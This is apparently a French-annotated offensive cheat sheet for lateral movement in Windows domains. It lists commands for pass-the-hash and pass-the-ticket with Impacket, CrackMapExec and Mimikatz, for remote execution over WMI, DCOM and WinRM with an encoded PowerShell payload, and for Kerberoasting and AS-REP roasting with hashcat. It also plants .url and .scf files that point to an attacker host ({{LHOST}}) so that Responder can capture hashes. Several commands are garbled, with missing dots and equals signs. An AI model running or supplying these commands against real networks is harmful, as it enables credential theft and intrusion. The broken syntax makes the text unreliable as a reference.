Lateral Movement

# Impacket — PsExec avec hash NTLM
psexecpy {{TARGET_DOMAIN}}{{USER}}{{TARGET_IP}} -hashes {{NTLM_HASH}}
# Impacket — WMIExec (moins de traces)
wmiexecpy {{TARGET_DOMAIN}}{{USER}}{{TARGET_IP}} -hashes {{NTLM_HASH}}
# Impacket — SMBExec
smbexecpy {{TARGET_DOMAIN}}{{USER}}{{TARGET_IP}} -hashes {{NTLM_HASH}}
# Impacket — ATExec (via Task Scheduler)
atexecpy {{TARGET_DOMAIN}}{{USER}}{{TARGET_IP}} -hashes {{NTLM_HASH}} "whoami"
# CrackMapExec — scan PtH en masse
crackmapexec smb {{TARGET}}/24 -u {{USER}} -H {{NTLM_HASH}}
crackmapexec smb {{TARGET}}/24 -u {{USER}} -H {{NTLM_HASH}} -x "whoami"
crackmapexec smb {{TARGET}}/24 -u {{USER}} -H {{NTLM_HASH}} --sam
# xfreerdp — RDP avec hash (Restricted Admin Mode requis)
xfreerdp /v{{TARGET_IP}} /u{{USER}} /pth{{NTLM_HASH}}

# Exporter les tickets depuis la mémoire (Mimikatz)
mimikatz# sekurlsa::tickets /export    # crée des fichiers .kirbi
# Importer un ticket
mimikatz# kerberos::ptt [0;12bd0]-0-0-40810000-{{USER}}@cifs-target.kirbi
mimikatz# kerberos::ptt ticket.kirbi
# Vérifier les tickets en mémoire
mimikatz# kerberos::list
klist   # commande native Windows
# Depuis Linux — convertir et utiliser
ticketConverterpy ticketkirbi ticketccache
export KRB5CCNAMEticketccache
psexecpy -k -no-pass {{TARGET_DOMAIN}}{{USER}}{{TARGET}}
# Overpass-the-Hash (NTLM → Ticket Kerberos)
mimikatz# sekurlsa::pth /user:{{USER}} /ntlm:{{NTLM_HASH}} /domain:{{TARGET_DOMAIN}} /run:powershell.exe
# Puis dans le nouveau processus :
klist     # vérifier les tickets générés

# Impacket PsExec (crée un service — bruyant, détecté par EDR)
psexecpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}}
# Sysinternals PsExec (natif)
PsExecexe {{TARGET_IP}} -u {{TARGET_DOMAIN}}{{USER}} -p {{PASSWORD}} cmdexe
# SmbExec (pas de binaire déposé sur disque)
smbexecpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}}

# Impacket WMIExec (semi-interactif, sans service créé)
wmiexecpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}}
wmiexecpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} "ipconfig /all"
# PowerShell — WMI local
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\out.txt"
# PowerShell — WMI distant
$cred  Get-Credential
Invoke-WmiMethod -ComputerName {{TARGET_IP}} -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\out.txt"
wmi"\\{{TARGET_IP}}\root\cimv2:Win32_Process" | Invoke-WmiMethod -Name Create -ArgumentList "cmd.exe"

# Depuis Linux
evil-winrm -i {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}}
evil-winrm -i {{TARGET_IP}} -u {{USER}} -H {{NTLM_HASH}}
# Depuis Windows
Enter-PSSession -ComputerName {{TARGET_IP}} -Credential Get-Credential)
Invoke-Command -ComputerName {{TARGET_IP}} -Credential Get-Credential) -ScriptBlock  whoami; hostname 
# CrackMapExec
crackmapexec winrm {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} -x "whoami"
crackmapexec winrm {{TARGET_IP}} -u {{USER}} -H {{NTLM_HASH}} -x "whoami"

# MMC20.Application (port 135)
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","{{TARGET_IP}}"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c powershell -e {{B64_PAYLOAD}}","7")
# ShellWindows
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application","{{TARGET_IP}}"))
$dcom.ShellExecute("cmd.exe","/c powershell -e {{B64_PAYLOAD}}","C:\Windows\System32","",0)

# GetUserSPNs — depuis Linux
GetUserSPNspy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET_IP}} -request
GetUserSPNspy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET_IP}} -request -outputfile kerberoasttxt
# PowerView — depuis Windows
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerberoastcsv -NoTypeInformation
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File kerberoasttxt
# Crack
hashcat -m 13100 kerberoasttxt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# GetNPUsers — comptes sans pré-auth Kerberos requise
GetNPUserspy {{TARGET_DOMAIN}} -dc-ip {{TARGET_IP}} -usersfile userstxt -format hashcat
GetNPUserspy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET_IP}} -request -format hashcat
# PowerView
Get-DomainUser -PreauthNotRequired | Get-ASREPHash -Format Hashcat | Out-File asreptxt
# Crack AS-REP hash (mode 18200)
hashcat -m 18200 asreptxt /usr/share/wordlists/rockyou.txt

# Trouver les partages avec accès en écriture
crackmapexec smb {{TARGET}}/24 -u {{USER}} -p {{PASSWORD}} --shares
# Déposer un fichier pour vol de hash (Responder)
# Créer un fichier @malicious.url ou desktop.ini dans un partage partagé
echo InternetShortcut
URLfile//{{LHOST}}/x > captureurl
# SCF file (dans un partage)
echo Shell
Command2
IconFile{{LHOST}}shareiconico > lootscf
# Intercepter avec Responder
responder -I {{INTERFACE}} -wrf